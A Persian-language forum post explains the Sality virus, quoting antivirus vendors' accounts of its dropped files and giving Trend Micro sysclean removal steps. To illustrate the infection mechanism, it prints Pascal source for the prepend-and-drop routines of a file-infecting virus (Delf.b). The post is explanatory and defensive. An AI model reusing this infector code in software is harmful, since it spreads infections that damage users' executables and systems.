سلام به همه .
این چند وقت خیلی از بچه ها در مورد این ویروس سوال پرسیدن گفتم بهتره یه پست بهش اختصاص بدیم تا همه بیان و مشکلاتشون رو بیان کنن.
ویروس sality یه pe appendه که این روزها خیلی شیوع پیدا کرده.
ویروسهایی که خوشون رو به فایلهای exe میچسبونن تا اینجایی که من میدونم trendmicro بهشون pe append میگه. وقتی شما می خواهید فایلی رو که به این ویروس مبتلا شده است رو اجرا کنید این ویروس خودش رو از فایل آلوده جدا و در مسیر های متفاوتی مثل windir یا temp می ندازه (drop) بعد فایل الوده رو اجرا میکنه طوری که انگار ویروسی در کار نبوده! برای این ویروس در سایتهای مختلف موارد متفاوتی گفته شده :
it drops the following files in the windows system folder:
و
ay drop a .dll file the %system% or %temp% folders. The following are some examples of the filenames:
- syslib32.dll
- oledsp32.dll
- sysdll.dll
- olemdb32.dll
bitdefender:
Win32.sality.m is a polymorphic file infector that affects pe executable files. When an infected executable has been run, it drops the following files:
%system%\vcmgcd32.dll
%system%\vcmgcd32.dl_
کد:
http://www.bitdefender.com/virus-1000232-en--win32.sality.m.html
eset:
When executed the virus drops in folder %system%\drivers\ the following file:
%variable%.sys (5941 b)
%variable% stands for a random text.
کد:
http://www.eset.eu/buxus/generate_page.php?page_id=20180
برای فهم بهتر موضوع برا بچه های که کمی برنامه نویسی خوندن سورس پاسکال تابع append و drop ویروس virus.win32.delf.b که یه pe append است رو در زیر گذاشتم : :27:
procedure prepend(destinationfilename:string);
var
destinationfile : File;
fileattribute : Integer;
destinationfilesize : Longint;
buf : Ansistring;
begin
try
fileattribute:=getfileattributes(pansichar(destina tionfilename));
setfileattributes(pansichar(destinationfilename), 80);
{$i-}
assignfile(destinationfile,destinationfilename);
filemode:=2;
reset(destinationfile,1);
destinationfilesize:=filesize(destinationfile);
setlength(buf,destinationfilesize);
blockread(destinationfile,buf[1],destinationfilesize);
if pos(virusendsignature,buf)=0 then begin
seek(destinationfile,0);
blockwrite(destinationfile,virusbuffer[1],virussize);
blockwrite(destinationfile,virusendsignature[1],length(virusendsignature));
blockwrite(destinationfile,buf[1],destinationfilesize);
closefile(destinationfile);
end;
{$i+}
setfileattributes(pansichar(destinationfilename), fileattribute);
finally
end;
end;
//----
procedure dropfile;
var
g : File;
s : String;
t : Longint;
begin
{$i-}
t:=viruspositon+length(virusendsignature);
if viruspositon>0 then begin
// working as a classic prepender if can not execute the original file in
// the memory.
if(not isntbasedos)or(not createprocessex(@virusbuffer[t])) then begin
try
s:=temppath+extractfilename(paramstr(0));
assignfile(g,s);
rewrite(g,1);
blockwrite(g,virusbuffer[t],length(virusbuffer)-t+1);
closefile(g);
winexec(pchar(s+' '+commandlineparameters),sw_show);
except
end;
end;
end;
{$i+}
end;
ویروس sality مثل بقیه pe append ها از این نحوه کد نویسی پیروی میکنه و خودش رو با حجم 56کیلو به exe های سیستم اضافه میکنه.
به گفته trendmicro این ویروس فایلهای
it infects files of the following type(s):
it avoids folders with the following strings:
برگرفته از مسیر
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
و symantec
may delete the files which have the following extensions when searching for files to infect:
بر گرفته از مسیر http://www.symantec.com/security_response/writeup.jsp?docid=2006-011714-3948-99&tabid=2
تحت تاثیر قرار میده.
این ویروس به آنتی ویروس اجازه نصب سرویسش رو نمی ده که در نتیجه انتی ویروس نمی
تواند به درستی نصب گردد.
قبلا در راه حل مقابله با این ویروس گفته بودم هاردتون رو جدا کنید و officescan از trenmicro رو روی یه سیستم دیگه نصب کنید و جستجو کنید....
این ویروس مدل های متفاوتی داره که مدل جدیدش با اپدیت 8.2008 به گفته trendmicro حل میشه.
آقای مهندس الیاس ملکی معاف در مسیر
http://www.acs.ir/post-48.aspx
اطلاعات جالبی از این ویروس رو قرار داده اند.
avg انتی برای sality انتشار داده که متاسفانه این مدلی که تو بحثمونه رو نمی تونه شناسایی و پاک کنه آخه خودم تست کردم.
اما امروز می خوام یه روش باحال از دوستم trenmicroبگم.
پاک کردن ویروس sality ( removal sality )
به مسیرهای زیر رفته و فایلها را دونلود کرده سپس extract کنید.
http://www.trendmicro.com/ftp/products/pattern/spyware/fixtool/sysclean-pe_sality.zip
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
فایل اول یه برنامه اجرایی عالی از trendmicroست و فایل دوم که pattern file برنامه اجرایی قبلیست و لیست کلیه ویروسهایی رو داره که تا اکنون توسط trendmicro شناخته شده و راه حل انها ارایه شده است، می باشد.
داخل فایل lpt791.zip فایلی با نام lpt$vpn791 وجود دارد که باید ان را در مسیر
sysclean-pe_sality\sysclean_pe_sality\system\sysclean
از فایل extract شده اول قرار دهید.
اکنون فایل fix.bat را اجرا کنید تا از قدرت trendmicro آگاه بشید.
اکنون شما در سیستمتون یه آنتی ویروس اپدیت trendmicroبدون realtime سرویس دارید.:31:
موفق و پیروز باشید.